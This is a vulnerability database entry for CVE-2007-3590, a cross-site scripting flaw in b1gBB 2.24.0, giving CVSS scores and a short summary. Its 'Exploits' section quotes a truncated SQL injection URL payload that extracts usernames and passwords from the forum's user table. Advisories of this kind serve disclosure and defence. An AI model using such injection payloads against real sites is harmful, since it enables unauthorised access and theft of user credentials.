4.3
CVSSv2

CVE-2007-3590

Published: 05/07/2007 Updated: 29/09/2017
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:P/A:N

Vulnerability Summary

Cross-site scripting (XSS) vulnerability in visitenkarte.php in b1gBB 2.24.0 allows remote malicious users to inject arbitrary web script or HTML via the user parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

b1g b1gbb 2.24

Exploits

# b1gbb 2240 (SQL/XSS) Remote Vulnerabilities # DScript : switchdlsourceforgenet/sourceforge/b1gbb/b1gbb-2240zip # Exploits SQL : //showthreadphp?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concat(username,passwort),8%20FROM%20cebb_user%20%20where%20id=1/* OR /showboardphp?id=-1%20union%20all%20select%200, ...